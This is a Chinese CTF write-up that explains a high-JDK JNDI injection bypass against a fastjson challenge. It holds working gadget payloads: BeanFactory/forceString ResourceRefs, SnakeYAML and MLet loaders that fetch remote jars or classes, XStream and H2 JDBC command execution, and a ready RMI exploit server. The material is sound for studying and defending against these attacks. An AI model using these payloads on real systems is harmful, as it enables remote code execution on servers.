上周的羊城杯出了一道可以执行lookup函数的fastjson的题目,但是由于JDK版本限制如果想要远程加载对象完成RCE需要自定义一个RMI服务,在这里就学习一下这个高版本JDK是怎么绕过远程加载限制的吧
0x01 还原题目
源码内容不多,只有一个解析控制器,
@RequestMapping({"/ApiTest"})
public class JsonApiTestController {
@Autowired
private ApiTestService apiTestService;
public JsonApiTestController() {
}
@GetMapping({"/get"})
public String getApiTest() {
return this.apiTestService.getMsg().toString();
}
@PostMapping({"/post"})
public String postApiTest(HttpServletRequest request) {
ServletInputStream inputStream = null;
String jsonStr = null;
try {
inputStream = request.getInputStream();
StringBuffer stringBuffer = new StringBuffer();
byte[] buf = new byte[1024];
boolean var6 = false;
int len;
while((len = inputStream.read(buf)) != -1) {
stringBuffer.append(new String(buf, 0, len));
}
inputStream.close();
jsonStr = stringBuffer.toString();
return ((Message)JSON.parseObject(jsonStr, Message.class)).toString();
} catch (IOException var7) {
var7.printStackTrace();
return "Test fail";
}
}
}
主要关注到/ApiTest/post
控制器,接收了传入的数据参数,并且使用JSON.parseObject
函数解析数据,从而触发fastjson反序列化,
但是在这里fastjson的版本为1.2.83
,目前是没有公布什么新的解析漏洞的,因此把目光转向题目自定义的类,给出了一个Test类,主要大致代码如下:
public class Test {
public Test() {
}
public static void main(String[] args) throws IOException, InterruptedException {
String jsonStr = "{\"content\" : {\"@type\": \"ycb.simple_json.service.JNDIService\", \"target\":\"ldap://vps:port/xxx\"}, \"msg\":{\"$ref\":\"$.content.context\"\}\}";
System.out.println(jsonStr);
Object obj = ((Message)JSON.parseObject(jsonStr, Message.class)).toString();
System.out.println(obj);
}
}
运行输出结果为:
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"ldap://vps:port/xxx"}, "msg":{"$ref":"$.content.context"\}\}
Message{msg='null'}
从这里的提示转而关注到ycb.simple_json.service.JNDIService
,该类的代码如下
@JSONType
public class JNDIService {
private String target;
private Context context;
public JNDIService() {
}
public void setTarget(String target) {
this.target = target;
}
public Context getContext() throws NamingException {
if (this.context == null) {
this.context = new InitialContext();
}
this.context.lookup(this.target);
return this.context;
}
}
可以看到两个函数:setTarget
和getContext
函数,json在解析request
数据的时候会先通过set方法设置target,"msg":{"$ref":"$.content.context"}
会触发调用getContext
函数,从而使用InitialContext.lookup
加载远程对象
但是如果直接
0x02 关于JNDI在低版本JDK的利用
Java对象在JNDI中的存储方式:
- Java序列化
- JNDI Reference
- Marshalled对象
- Remote Location (已弃用)
低版本没有限制任意加载object factory
的时候漏洞出发流程大致如下
很多时候RMI的使用 - 利用方式一
在很多时候,RMI服务的远程调用是通过rmi协议指定`host:port/xxx
向RMIRegister注册中心
指定获得一个Stub
,在这个Stub对象中,有Server远程对象的通信地址和端口
然后客户端的Stub通过地址和端口连接到Server端监听的通信端口并提交参数,然后Stub返回执行结果给Client端, 所以在Client客户端看来就是Stub对象在本地执行了对象的方法
这种方式在低版本的JDK中也是存在漏洞的, RMI注册中心
可以在一个绑定的对象中通过 java.rmi.server.codebase
属性设置一个Codebase
,当RMI客户端远程加载这个远程对象时,RMI客户端根据返回的信息执行lookup
操作, 在这个过程中,会先尝试在本地CLASSPATH
中去获取对应的Stub类的定义,并从本地加载,但如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。
从JDK 6u45、7u21
开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH
和当前VM的java.rmi.server.codebase
指定路径加载类文件。
关键词:
- Codebase + java.rmi.server.codebase
- CLASSPATH + Stub类的定义
- java.rmi.server.useCodebaseOnly
- JDK 6u45、7u21
JNDI中RMI返回References - 利用方式二
但是除了以上方式之外, 在JNDI服务中RMI服务端还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。在这种模式下,RMI服务端先通过Referenceable.getReference()获取绑定对象的引用并且保存在目录中,当用户全球的xxx刚好对应时就会返回一个References类替代原本的Stub.
- 服务端通过Referenceable.getReference()获取绑定对象的引用并且保存在目录中
- 客户端请求xxx绑定有对象引用, 则服务端返回对应的References
而之后客户端收到RMI服务端返回的References进如下处理:
- 取出返回的References中指定的Factory
- 执行lookup操作时,通过factory.getObjectInstance()获取外部远程对象实例
- 向References中指定的Factory发出请求拿到.class文件
- 动态加载返回的.class文件并完成实例化
- 执行.class实例化对象的getObjectInstance()
低版本JDK下JNDI注入的过程便如上所述了,但是在高版本却不在能使用这种方法
在JDK 6u132, JDK 7u122, JDK 8u113
中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase
,com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。
关键字:
- References
- Codebase
- .class文件动态加载 + object factory
- getObjectInstance
- JDK 6u132, JDK 7u122, JDK 8u113
- com.sun.jndi.rmi.object.trustURLCodebase
- com.sun.jndi.cosnaming.object.trustURLCodebase
JNDI对接LDAP服务 - 利用方式三
原理和上面的JNDI对接RMI服务差不多, 主要是LDAP服务也支持返回一个JNDI Reference对象, 最后在LDAP服务端返回一个构造好的恶意JNDI Reference对象
从而远程加载恶意的object factory
重点: LDAP服务的Reference远程加载Factory类不受 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制, 这是因为它对类进行动态加载的过程并不是通过RMI Class loading
完成而是URLClassLoader
2018年10月开始做出限制,JDK 11.0.1、8u191、7u201、6u211
之后com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false
关键词:
- JNDI Reference对象
- com.sun.jndi.rmi.object.trustURLCodebase+com.sun.jndi.cosnaming.object.trustURLCodebase不受限
- JDK 11.0.1、8u191、7u201、6u211
- com.sun.jndi.cosnaming.object.trustURLCodebase
- com.sun.jndi.ldap.object.trustURLCodebase
- Codebase的值是通过ref.getFactoryClassLocation()获得
LDAP可以为存储的Java对象指定多种属性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
0x03 高版本下的活动范围
可以看到,高版本jdk通过一些trustURLCodebase
变量限制了JNDI服务通过Codebase
到指定地址去请求.class远程加载object facory
攻击方式
-
我们仍可以指定使用哪一个本地的
object factory
,这个object factory
必须是CLASSPATH
中的类,除此外还需满足两个条件:- 实现 javax.naming.spi.ObjectFactory 接口
- 存在 getObjectInstance 方法
-
除此之外,不管是高低版本JNDI服务都是可以返回一个序列化对象然后在客户端中进行反序列化的,所以如果有反序列化的gadget也是可以完成漏洞利用的
如果需要反序列的话可以通过LDAP的
javaSerializedData
反序列化gadget
0x04 可用类的筛选
上面提到的两种方法反序列化就不必多说了,主要是找一个指定可用的object factory
类,Tomcat依赖包中的org.apache.naming.factory.BeanFactory
正好满足了所需的两个要求, 如果使用这个类作为指定的object factory
可进行以下操作:
- getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class
- 会调用setter方法为实例化对象的所有的属性赋值
- Bean Class的类名、属性、属性值,全都来自于Reference对象
需要注意: beanFactory
要求传入的Reference为ResourceRef类(这就是为什么很多JNDI攻击的绑定对象中都会出现ResourceRef对象的原因)
目前可以实例化一个BeanClass并且会调用它的setter方法进行对象赋值, 那么对这个BeanClass有没有什么要求呢?答案是有的:
- 有无参构造方法
- setter方法必须为public且参数为一个String类型
到这里其实限制还是比较大的,就是只能做到任意调用public且只有一个String单参数的setter方法
然而有一个参数使得这个利用范围迅速地扩大了: forceString
forceString最终在getObjectInstance
函数被使用,调用栈为:
getObjectInstance:148, BeanFactory (org.apache.naming.factory)
getObjectInstance:332, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:218, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:10, LookTest
原因:
beanFactory
会取出ResourceRef
对象中的forceString
参数进行如下示例的处理:假设参数值为
x1=a,x2=b,x3=c
- 通过
,
分割得到三组字符串x1=a
,x2=b
,x3=c
- 通过
=
对每组字符串进行分割进行处理,例如取出x1=a
切割后分别是x1
和a
- 将第一个作为要设置的参数变量名,第二个作为函数名, 表示强制转换, 当要设置指定实例化后
BeanClass
对象的 x1属性时由原本的setX1
方法强制转换为调用a
方法进行参数设置- BeanClass对象需要设置哪些参数完全由我们的
ResourceRef
对象决定,我们完全可控所以就是如果原本需要设置BeanClass对象的变量x1="xx11"
就会调用它的setX1("xx11")去将x1
设为xx11
,但是因为以上forceString
的存在会变为调用a("xx11")
- 后面对x2,x3的处理同于x1
所以就是,到这里我们就可以完成任意public的String单参数函数
的调用了
属于BeanClass,且通过一个String参数就能执行危险操作的Class方法以下两个用的比较多:
-
javax.el.ELProcessor#eval 任意代码执行
(注意,Tomcat7中不存在该类)
参数示例:
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','whoami']).start()")
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")); return ref;
-
groovy.lang.GroovyShell#evaluate 执行 Groovy 脚本
参数示例:
println 'Hello World.'
0x05 回到题目 + 其他类的利用拓展
在这里搜索了一下发现ELProcessor
类并没有被加载进来,所以第一个自然也就不可用了,GroovyShell
的搜索结果也是不存在
但是除了这两个类之外其实还存在很多个类都是可以进行漏洞利用的,这里简单列出浅蓝师傅在探索高版本 JDK 下 JNDI 漏洞的利用方法里面提出其他利用类:
-
javax.management.loading.MLet#addClasspath+loadClass
private static ResourceRef tomcatMLet() { ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/")); ref.add(new StringRefAddr("c", "Blue")); return ref; }
-
groovy.lang.GroovyClassLoader#addClasspath+loadClass
private static ResourceRef tomcatGroovyClassLoader() { ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass")); ref.add(new StringRefAddr("a", "http://127.0.0.1:8888/")); ref.add(new StringRefAddr("b", "blue")); return ref; }
在http://127.0.0.1:8888/下面写入一个**blue.groovy**文件
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")}) class Person{}
-
org.yaml.snakeyaml.Yaml#load
private static ResourceRef tomcat_snakeyaml(){ ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String yaml = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + "!!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" + " ]]\n" + "]"; ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("a", yaml)); return ref; }
-
new com.thoughtworks.xstream.XStream#fromXML
new com.thoughtworks.xstream.XStream().fromXML(String)
同样符合条件private static ResourceRef tomcat_xstream(){ ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String xml = "<java.util.PriorityQueue serialization='custom'>\n" + " <unserializable-parents/>\n" + " <java.util.PriorityQueue>\n" + "<default>\n" + " <size>2</size>\n" + "</default>\n" + "<int>3</int>\n" + "<dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class='sun.tracing.NullProvider'>\n" + "<active>true</active>\n" + "<providerType>java.lang.Comparable</providerType>\n" + "<probes>\n" + " <entry>\n" + "<method>\n" + " <class>java.lang.Comparable</class>\n" + " <name>compareTo</name>\n" + " <parameter-types>\n" + "<class>java.lang.Object</class>\n" + " </parameter-types>\n" + "</method>\n" + "<sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='java.lang.Runtime'/>\n" + " <implementing__method>\n" + "<class>java.lang.Runtime</class>\n" + "<name>exec</name>\n" + "<parameter-types>\n" + " <class>java.lang.String</class>\n" + "</parameter-types>\n" + " </implementing__method>\n" + "</sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + "</probes>\n" + " </handler>\n" + "</dynamic-proxy>\n" + "<string>calc</string>\n" + " </java.util.PriorityQueue>\n" + "</java.util.PriorityQueue>"; ref.add(new StringRefAddr("forceString", "a=fromXML")); ref.add(new StringRefAddr("a", xml)); return ref; }
-
org.mvel2.sh.ShellSession#exec
解析MVEL表达式
private static ResourceRef tomcat_MVEL(){ ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=exec")); ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('calc');")); return ref; }
-
com.sun.glass.utils.NativeLibLoader#loadLibrary
需要能够通过WEB功能或者写文件gadget上传一个动态链接库(例如下面的libcmd)来加载并执行命令。
private static ResourceRef tomcat_loadLibrary(){ ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadLibrary")); ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd")); return ref; }
-
org.apache.catalina.users.MemoryUserDatabaseFactory
这里能做的事情很多,XXE,RCE,创建Tomcat管理员,写 Webshell
-
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource
private static Reference tomcat_dbcp2_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); } private static Reference tomcat_dbcp1_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); } private static Reference commons_dbcp2_RCE(){ return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); } private static Reference commons_dbcp1_RCE(){ return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); } private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
-
org.apache.tomcat.jdbc.pool.DataSourceFactory
private static Reference tomcat_JDBC_RCE(){ return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory"); } private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
-
com.alibaba.druid
private static Reference druid(){ Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" + "$$\n"; String JDBC_USER = "root"; String JDBC_PASSWORD = "password"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true")); return ref; }
-
Deserialize
dbcp
ResourceRef ref = new ResourceRef("org.apache.commons.dbcp2.datasources.SharedPoolDataSource", null, "", "", true, "org.apache.commons.dbcp2.datasources.SharedPoolDataSourceFactory", null); ref.add(new BinaryRefAddr("jndiEnvironment", Files.readAllBytes(Paths.get("calc.bin"))));
mchange-common
ResourceRef ref = new ResourceRef("java.lang.String", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null); ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", Files.readAllBytes(Paths.get("calc.bin"))));
hessian
LookupRef ref = new LookupRef("java.lang.String","look"); ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory")); //com.caucho.burlap.client.BurlapProxyFactory ref.add(new StringRefAddr("type", "java.lang.AutoCloseable")); ref.add(new StringRefAddr("url", "http://127.0.0.1:6666/"));
0x06 找到可用类
在上面众多的可用类中逐一进行类检索,最后可以找到org.yaml.snakeyaml.Yaml#load(java.lang.String)
已载入项目中, 使用这个Yaml的load方法完成RCE(使用该方法需要使用项目额外生成一个.jar包: https://github.com/artsploit/yaml-payload)
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private static ResourceRef eLProcessor(){
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
System.out.println("请检查当前项目是否存在javax.el.ELProcessor#eval");
return ref;
}
private static ResourceRef groovyShell(){
ResourceRef ref = new ResourceRef("\"groovy.bugs.Autobox.Util.printByte(\\\"1\\\", Byte.valueOf((byte)1));\"", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
//ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\");"));
ref.add(new StringRefAddr("x", "groovy.bugs.Autobox.Util.printByte(\"1\", Byte.valueOf((byte)1));"));
System.out.println("请检查当前项目是否存在groovy.lang.GroovyShell#evaluate");
return ref;
}
private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Exploit"));
System.out.println("请检查当前项目是否存在javax.management.loading.MLet");
return ref;
}
private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1/"));
ref.add(new StringRefAddr("b", "blue"));
System.out.println("请检查当前项目是否存在groovy.lang.GroovyClassLoader#loadClass");
System.out.println("在vps的Server服务挂上一个blue.groovy文件,内容如下:");
System.out.println("@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec(\"calc\")})class Person{}");
return ref;
}
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
"!!java.net.URL [\"http://127.0.0.1:80/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
System.out.println("请检查当前项目是否存在org.yaml.snakeyaml.Yaml#load");
System.out.println("转到https://github.com/artsploit/yaml-payload 使用项目生产yaml-payload.jar放在http服务端下");
return ref;
}
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
"<default>\n" +
" <size>2</size>\n" +
"</default>\n" +
"<int>3</int>\n" +
"<dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
"<active>true</active>\n" +
"<providerType>java.lang.Comparable</providerType>\n" +
"<probes>\n" +
" <entry>\n" +
"<method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
"<class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
"</method>\n" +
"<sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
"<class>java.lang.Runtime</class>\n" +
"<name> exec</name>\n" +
"<parameter-types>\n" +
" <class>java.lang.String</class>\n" +
"</parameter-types>\n" +
" </implementing__method>\n" +
"</sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
"</probes>\n" +
" </handler>\n" +
"</dynamic-proxy>\n" +
"<string>calc</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
System.out.println("请检查当前项目是否存在com.thoughtworks.xstream.XStream#fromXML");
return ref;
}
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('calc');"));
System.out.println("请检查当前项目是否存在org.mvel2.sh.ShellSession#exec");
return ref;
}
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
System.out.println("该漏洞需要结合一个文件上传点上传一个'动态链接库文件',然后通过loadLibrary函数对这个动态链接库文件进行加载进而触发漏洞");
return ref;
}
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(tomcat_snakeyaml());
Naming.rebind("rmi://0.0.0.0:1099/Exploit",referenceWrapper);
System.out.println("RMI Server Start Working...");
}
}
运行之后在, 本地80端口开启一个http服务,并且将 yaml-payload 项目生产的yaml-payload.jar
包放到目录下(执行什么命令由项目AwesomeScriptEngineFactory.java
文件中的构造函数指定 ).
之后发送payload成功执行命令
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"rmi://127.0.0.1:1099/Exploit"}, "msg":{"$ref":"$.content.context"\}\}
0x07 学习链接
- 本文作者: markin
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1895
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!